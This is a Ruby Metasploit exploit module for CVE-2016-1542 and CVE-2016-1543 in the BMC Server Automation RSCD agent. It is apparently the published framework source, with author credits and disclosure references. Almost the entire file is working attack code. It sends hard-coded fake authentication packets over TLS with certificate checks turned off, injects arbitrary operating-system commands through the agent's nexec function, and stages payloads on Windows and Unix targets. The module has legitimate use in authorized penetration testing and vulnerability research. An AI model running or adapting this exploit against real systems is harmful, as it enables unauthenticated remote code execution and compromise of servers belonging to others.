##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'BMC Server Automation RSCD Agent NSH Remote ' \
                           'Command Execution',
      'Description'     => %q(
        This module exploits a weak access control check in the BMC Server
        Automation RSCD agent that allows arbitrary operating system commands
        to be executed without authentication.
        Note: Under Windows, non-powershell commands may need to be prefixed
              with 'cmd /c'.
      ),
      'Author'          =>
        [
          'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery
          'Nicky Bloor (@NickstaDB) <nick@nickbloor.co.uk>' # RCE payload and Metasploit module
        ],
      'References'      =>
        [
          ['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'],
          ['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'],
          ['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'],
          ['CVE', '2016-1542'],
          ['CVE', '2016-1543']
        ],
      'DisclosureDate'  => '2016-03-16',
      'Privileged'      => false,
      'Stance'          => Msf::Exploit::Stance::Aggressive,
      'Platform'        => %w[win linux unix],
      'Targets'         =>
        [
          ['Automatic', {}],
          [
            'Windows/VBS Stager', {
              'Platform' => 'win',
              'Payload' => { 'Space' => 8100 }
            }
          ],
          [
            'Unix/Linux', {
              'Platform' => %w[linux unix],
              'Payload' => { 'Space' => 32_700 }
            }
          ],
          [
            'Generic Command', {
              'Arch' => ARCH_CMD,
              'Platform' => %w[linux unix win]
            }
          ]
        ],
      'DefaultTarget'   => 0,
      'License'         => MSF_LICENSE,
      'Payload'         => {
        'BadChars' => "\x00\x09\x0a"
      },
      'CmdStagerFlavor' => %w[vbs echo])
    )

    register_options(
      [
        Opt::RPORT(4750)
      ]
    )

    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
  end

  def check
    # Send agentinfo request and check result
    vprint_status('Checking for BMC with agentinfo request.')
    res = send_agentinfo_request

    # Check for successful platform detection
    if res[0] == 1
      vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1])
      return CheckCode::Detected
    end

    # Get first four bytes of the packet which should hold the content length
    res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0

    # Return unknown if the packet format appears correct (length field check)
    if res[1] && res[1].length - 4 == res_len
      vprint_warning('Target appears to be BMC, however an unexpected ' \
                     'agentinfo response was returned.')
      vprint_warning('Response: ' + res[1])
      return CheckCode::Unknown
    end

    # Invalid response, probably not a BMC RSCD target
    vprint_error('The target does not appear to be a BMC RSCD agent.')
    vprint_error('Response: ' + res[1]) if res[1]
    CheckCode::Safe
  end

  def exploit
    # Do auto target selection
    target_name = target.name

    if target_name == 'Automatic'
      # Attempt to detect the target platform
      vprint_status('Detecting remote platform for auto target selection.')
      platform = send_agentinfo_request

      # Fail if platform detection was unsuccessful
      if platform[0].zero?
        fail_with(Failure::UnexpectedReply, 'Unexpected response while ' \
                  'detecting target platform.')
      end

      # Set target based on returned platform
      target_name = if platform[1].downcase.include?('windows')
                      'Windows/VBS Stager'
                    else
                      'Unix/Linux'
                    end
    end

    # Exploit based on target
    vprint_status('Generating and delivering payload.')
    if target_name == 'Windows/VBS Stager'
      if payload.raw.start_with?('powershell', 'cmd')
        execute_command(payload.raw)
      else
        execute_cmdstager(flavor: :vbs, linemax: payload.space)
      end
      handler
    elsif target_name == 'Unix/Linux'
      execute_cmdstager(flavor: :echo, linemax: payload.space)
      handler
    elsif target_name == 'Generic Cmd'
      send_nexec_request(payload.raw, true)
    end
  end

  # Execute a command but don't print output
  def execute_command(command, opts = {})
    if opts[:flavor] == :vbs
      if command.start_with?('powershell') == false
        if command.start_with?('cmd') == false
          send_nexec_request('cmd /c ' + command, false)
          return
        end
      end
    end
    send_nexec_request(command, false)
  end

  # Connect to the RSCD agent and execute a command via nexec
  def send_nexec_request(command, show_output)
    # Connect and auth
    vprint_status('Connecting to RSCD agent and sending fake auth.')
    connect_to_rscd
    send_fake_nexec_auth

    # Generate and send the payload
    vprint_status('Sending command to execute.')
    sock.put(generate_cmd_pkt(command))

    # Finish the nexec request
    sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \
             "\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \
             "\x35\x38\x3b\x32\x34\x38\x35\x31")
    sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
             "\x30\x30\x30\x30\x32\x65\x7f")
    sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
             "\x30\x30\x30\x30\x32\x69\x03")
    sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
             "\x30\x30\x30\x30\x32\x74\x31")
    sock.put("\x00\x00\x00\x1c\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30" \
             "\x30\x30\x30\x30\x63\x77\x38\x30\x3b\x34\x31\x3b\x38\x30\x3b" \
             "\x34\x31")
    sock.put("\x00\x00\x00\x11\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30" \
             "\x30\x30\x30\x30\x31\x7a")

    # Get the response from the RSCD agent and disconnect
    vprint_status('Reading response from RSCD agent.')
    res = read_cmd_output
    if show_output == true
      if res && res[0] == 1
        print_good("Output\n" + res[1])
      else
        print_warning('Command execution failed, the command may not exist.')
        vprint_warning("Output\n" + res[1])
      end
    end
    disconnect
  end

  # Attempt to retrieve RSCD agent info and return the platform string
  def send_agentinfo_request
    # Connect and send fake auth
    vprint_status('Connecting to RSCD agent and sending fake auth.')
    connect_to_rscd
    send_fake_agentinfo_auth

    # Send agentinfo request, read the response, and disconnect
    vprint_status('Requesting agent information.')
    sock.put("\x00\x00\x00\x32\x30\x30\x30\x30\x30\x30\x32\x61\x30\x30\x30" \
             "\x30\x30\x30\x31\x30\x36\x34\x3b\x30\x3b\x32\x3b\x36\x66\x37" \
             "\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x30\x32\x34" \
             "\x31\x30\x30\x30\x30\x30\x30\x30\x30")
    res = sock.get_once
    disconnect

    # Return the platform field from the response if it looks valid
    res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0
    return [1, res.split(';')[4]] if res &&
                                     res.split(';').length > 6 &&
                                     res.length == (res_len + 4)

    # Invalid or unexpected response format, return the complete response
    [0, res]
  end

  # Connect to the target and upgrade to an encrypted connection
  def connect_to_rscd
    connect
    sock.put('TLS')
    sock.extend(Rex::Socket::SslTcp)
    sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
    sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    sock.sslctx.options = OpenSSL::SSL::OP_ALL
    sock.sslctx.ciphers = 'ALL'
    sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
    sock.sslsock.connect
  end

  # Send fake agentinfo auth packet and ignore the response
  def send_fake_agentinfo_auth
    sock.put("\x00\x00\x00\x5e\x30\x30\x30\x30\x30\x30\x35\x36\x30\x30\x30" \
             "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x35\x3b\x38\x38" \
             "\x30\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x35" \
             "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x39" \
             "\x3b\x61\x67\x65\x6e\x74\x69\x6e\x66\x6f\x3b\x2d\x3b\x2d\x3b" \
             "\x30\x3b\x2d\x3b\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) +
             "\x3b\x55\x54\x46\x2d\x38")
    sock.get_once
  end

  # Send fake nexec auth packet and ignore the  response
  def send_fake_nexec_auth
    sock.put("\x00\x00\x00\x5a\x30\x30\x30\x30\x30\x30\x35\x32\x30\x30\x30" \
             "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x31\x3b\x64\x61" \
             "\x34\x3b\x64\x61\x34\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x31" \
             "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x35" \
             "\x3b\x6e\x65\x78\x65\x63\x3b\x2d\x3b\x2d\x3b\x30\x3b\x2d\x3b" \
             "\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55" \
             "\x54\x46\x2d\x38")
    sock.get_once
  end

  # Generate a payload packet
  def generate_cmd_pkt(command)
    # Encode back slashes
    pkt = command.gsub('\\', "\xc1\xdc")

    # Encode double quotes unless powershell is being used
    pkt = pkt.gsub('"', "\xc2\x68") unless pkt.start_with?('powershell')

    # Construct the body of the payload packet
    pkt = pad_number(pkt.length + 32) + "\x30\x30\x30\x30\x30\x30\x31\x30" \
          "\x62\x37\x3b\x30\x3b\x32\x3b\x63\x61\x65\x3b\x64\x61\x34\x3b\x30" +
          pad_number(pkt.length) + pkt

    # Prefix with the packet length and return
    [pkt.length].pack('N') + pkt
  end

  # Convert the given number to a hex string padded to 8 chars
  def pad_number(num)
    format('%08x', num)
  end

  # Read the command output from the server
  def read_cmd_output
    all_output = ''
    response_done = false

    # Read the entire response from the RSCD service
    while response_done == false
      # Read a response chunk
      chunk = sock.get_once
      next unless chunk && chunk.length > 4
      chunk_len = chunk[0..3].unpack('N')[0]
      chunk = chunk[4..chunk.length]
      chunk += sock.get_once while chunk.length < chunk_len

      # Check for the "end of output" chunk
      if chunk_len == 18 && chunk.start_with?("\x30\x30\x30\x30\x30\x30\x30" \
                                              "\x61\x30\x30\x30\x30\x30\x30" \
                                              "\x30\x32\x78")
        # Response has completed
        response_done = true
      elsif all_output == ''
        # Keep the first response chunk as-is
        all_output += chunk

        # If the command failed, we're done
        response_done = true unless all_output[8..15].to_i(16) != 1
      else
        # Append everything but the length fields to the output buffer
        all_output += chunk[17..chunk.length]
      end
    end

    # Return output if response indicated success
    return [1, all_output[26..all_output.length]] if
            all_output &&
            all_output.length > 26 &&
            all_output[8..15].to_i(16) == 1

    # Return nothing if there isn't enough data for error output
    return [0, ''] unless all_output && all_output.length > 17

    # Get the length of the error output and return the error
    err_len = all_output[8..15].to_i(16) - 1
    [0, all_output[17..17 + err_len]]
  end
end
